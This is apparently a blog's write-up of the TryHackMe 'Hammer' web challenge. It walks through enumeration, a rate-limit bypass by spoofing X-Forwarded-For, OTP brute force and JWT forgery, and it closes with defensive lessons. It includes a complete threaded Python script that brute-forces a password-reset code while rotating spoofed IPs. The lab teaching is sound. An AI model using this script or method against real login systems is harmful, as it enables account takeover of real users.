Skip to main content
  1. CTF write-ups/

TryHackMe: Hammer

·1795 words·9 mins
Liam Smydo
Author
Liam Smydo
Hi, I’m Liam. This site contains my various cybersecurity projects, CTF write-ups, and labs, including detailed technical write-ups and different resources I find useful.
Table of Contents

Platform: TryHackMe

Difficulty: Medium

Category: Web Exploitation

Skills Covered: Web enumeration, rate limit bypass, OTP brute force, JWT manipulation


Overview
#

Hammer is a medium difficulty web challenge that takes you through a chain of vulnerabilities on a PHP web application. The attack path flows naturally from reconnaissance all the way through account takeover and privilege escalation via JWT forgery. If you’re looking to sharpen your skills in web app enumeration, authentication bypass, and token manipulation, this one is a great exercise.

The core chain looks like this:

  1. Enumerate the web app to find a target email address in an exposed log file
  2. Exploit a weak rate limiting implementation to brute force an OTP reset code
  3. Log in and discover a command execution panel restricted by JWT role claims
  4. Forge a new JWT using a key file leaked through the web server itself

Let’s walk through it step by step.


Reconnaissance
#

Port Scanning
#

Starting with a full port scan using RustScan piped into Nmap for service detection:

└─$ rustscan -a 10.81.153.100 -- -A -oN scan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports faster than you can say 'SYN ACK'

[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.81.153.100:22
Open 10.81.153.100:1337
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -oN scan.txt" on ip 10.81.153.100
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-16 23:04 -0500
Scanned at 2026-02-16 23:04:29 EST for 25s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)

1337/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports came back open: SSH on 22 and an Apache web server running on the non standard port 1337.

The HTTP service immediately caught my eye running on a non default port with a login page as the root suggests this is our primary target.

Web Application Enumeration
#

We start by running our initial dirsearch direcotry fuzz:

image.png

Composer.json: Spotting JWT Usage
#

One of the discovered files was composer.json, the PHP dependency manifest. This is always worth checking because it reveals what libraries the app is using.

image.png

The entry firebase/php-jwt 6.10 tells us the app is using JWTs for session management or authorization. This is a flag to revisit later.

Source Code Review: Leaking a Directory Convention
#

The /dashboard route redirected to index.php. While reviewing the page source, I found a developer note that had been left behind:

image.png

The comment leaked the naming convention used for internal directories: a hmr_ prefix.

image.png

Also on the login page: a “Forgot your password?” link leading to reset_password.php.

image.png

and some visible rate limiting logic around password reset attempts.

image.png

Worth noting that resetting the PHPSESSID cookie appeared to reset the rate limit counter. We’ll come back to this.

Vendor Directory: Confirming JWT Library
#

Directory listing was enabled on the /vendor path, which exposed the Firebase JWT library files.

image.png

Fuzzing with the hmr_ Prefix
#

Armed with the naming convention from the source code comment, I ran ffuf targeting paths with the hmr_ prefix, including .php extensions since this is a PHP app:

image.png

This immediately surfaced hmr_logs a directory with listing enabled.

Inside was an error.logs file.

image.png

Hmr_logs/error.log: Target Email Found
#

Opening the log file revealed application error entries. Buried in those logs was a valid email address: tester@hammer.thm.

image.png

This gave us a confirmed account to target for the password reset flow.


Initial Access: OTP Brute Force via Rate Limit Bypass
#

Triggering the Password Reset
#

With a valid email in hand, I submitted a password reset request for tester@hammer.thm. The app responded with a 4-digit MFA/OTP prompt and a countdown timer of roughly 180 seconds to enter the code.

image.png

I instantly thought to brute force this code, since its so short.

10,000 possible codes with 180 seconds on the clock is tight but doable IF we can submit them fast enough. The problem? After 8 attempts, the app rate limited further submissions.

Bypassing the Rate Limit with X-Forwarded-For header
#

Rate limiting on web apps is often implemented by tracking the client’s IP address. A common misconfiguration is trusting the X-Forwarded-For header without validating it. If an app naively reads this header to identify clients, an attacker can simply change the header value with each request to appear as a different IP.

image.png

Testing this manually in Burp Suite confirmed the behaviour:

image.png

Changing the X-Forwarded-For header to a new IP value reset the attempt counter completely.

Automating the Brute Force
#

With the bypass confirmed, I wrote a Python script (with the help of Claude Code) to automate the full brute force. The script uses threading to cover all 10,000 codes within the time window, rotating the X-Forwarded-For header to a new random IP every 7 requests to stay under the rate limit threshold.

import requests
import random
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

TARGET = "http://10.82.185.40:1337/reset_password.php"
RATE_LIMIT = 7
THREADS = 10
found = None

def random_ip():
    return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

def try_range(phpsessid, start, end):
    global found
    session = requests.Session()
    session.cookies.set("PHPSESSID", phpsessid)
    count = 0
    ip = random_ip()

    for code in range(start, end):
        if found:
            return None

        otp = str(code).zfill(4)

        if count >= RATE_LIMIT:
            ip = random_ip()
            count = 0

        headers = {"X-Forwarded-For": ip}
        r = session.post(TARGET, data={"recovery_code": otp, "s": "170"}, headers=headers)
        count += 1

        if "Invalid or expired recovery code" not in r.text and "4-Digit Code" not in r.text:
            found = otp
            return otp

    return None

def brute_force(phpsessid):
    global found
    chunk_size = 10000 // THREADS
    ranges = [(i, min(i + chunk_size, 10000)) for i in range(0, 10000, chunk_size)]

    start = time.time()
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = {executor.submit(try_range, phpsessid, s, e): (s, e) for s, e in ranges}

        while not found:
            time.sleep(0.5)
            elapsed = time.time() - start
            sys.stdout.write(f"\r[*] Running {THREADS} threads | {elapsed:.0f}s elapsed")
            sys.stdout.flush()

            if all(f.done() for f in futures):
                break

    return found

if __name__ == "__main__":
    print("[*] Step 1: Trigger password reset in your browser")
    print("[*] Step 2: Copy your PHPSESSID from dev tools\n")
    phpsessid = input("Enter PHPSESSID: ").strip()

    print(f"\n[*] Brute forcing with {THREADS} threads...\n")
    start = time.time()
    otp = brute_force(phpsessid)

    if otp:
        print(f"\n\n[+] FOUND OTP: {otp} in {time.time() - start:.1f}s")
        print(f"[*] Auto-submitting to complete the reset...\n")

        session = requests.Session()
        session.cookies.set("PHPSESSID", phpsessid)
        r = session.post(TARGET, data={"recovery_code": otp, "s": "170"}, headers={"X-Forwarded-For": random_ip()})
        print(r.text[:2000])
    else:
        print("\n[-] Exhausted all codes.")

The workflow is: trigger the reset in your browser, copy the PHPSESSID cookie, paste it into the script, and let it run. The script needs to reuse the session cookie because the OTP is tied to the server side session that was created when the reset request was submitted. If we create a new cookie each request, the otp will re-generate on each request which we dont want.

The script found the OTP successfully:

image.png

With the valid OTP in hand, I submitted it to complete the reset and set a new password for tester@hammer.thm.

image.png


Exploitation: JWT Forgery for Privilege Escalation
#

Post-Login Discovery
#

Logging in with tester@hammer.thm and the new password revealed a dashboard with a command execution panel.

image.png

Trying to run something useful, like id, returned a “Command not allowed” error.

image.png

To figure out what was allowed, I brute forced the input against a Linux commands wordlist (amitlttwo/All-Wordlists on GitHub). Only one command made it through: ls.

image.png

Inspecting the JWT
#

Checking the session JWT in DevTools revealed a role claim set to user. The command allowlist is clearly tied to this role. Regular users can only run ls, while admins presumably have more access.

image.png

The question is: can we forge a new token with role: admin? To sign a JWT, you need the secret key. Fortunately, running ls through the command panel showed a .key file sitting in the web root.

Retrieving the Signing Key
#

Since the .key file was in the web root, it was directly accessible over HTTP. Fetching it gave us the JWT signing secret.

image.png

Forging the JWT
#

With the signing key in hand, I crafted a new JWT with the role claim changed from user to admin, signing it with the recovered key and specifying the key file path in the header to match what the server expected.

image.png

Replacing the session token with the forged JWT and sending a new request with our desired command confirmed the escalation worked:

image.png

Capturing the Flag
#

With admin privileges now active through the forged token, the command panel accepted more powerful commands, allowing us to retrieve the flag.

image.png


Key Takeaways
#

Rate limiting that trusts client supplied headers is not real rate limiting. The X-Forwarded-For header is trivially spoofed. Any IP based rate limiting needs to operate on the verified network layer source IP, not a header the client controls. Ideally, rate limits should also be tied to the account being targeted rather than the requesting IP alone.

Exposed log files are a serious information disclosure risk. The hmr_logs/error.log file handed us a valid username with no effort required. Application logs should never be accessible via the web server. Move them outside the web root, or at minimum protect the directory with authentication.

JWT signing keys must never be web-accessible. A key file in the web root is equivalent to leaving the front door unlocked. If an attacker can read your signing key, they can forge any token they want. Keys should be stored outside the web root, in environment variables, or in a secrets manager, never as a static file the web server can serve.

Directory listing should always be disabled in production. Enabled directory listing on /vendor and /hmr_logs exposed the app’s dependency tree and its log files. One line in the Apache config (Options -Indexes) eliminates this class of finding entirely.

Developer comments in production HTML are a gift to attackers. The hmr_ naming convention was handed to us for free via a comment left in the page source. Always strip debug comments from the production codebase before deploying.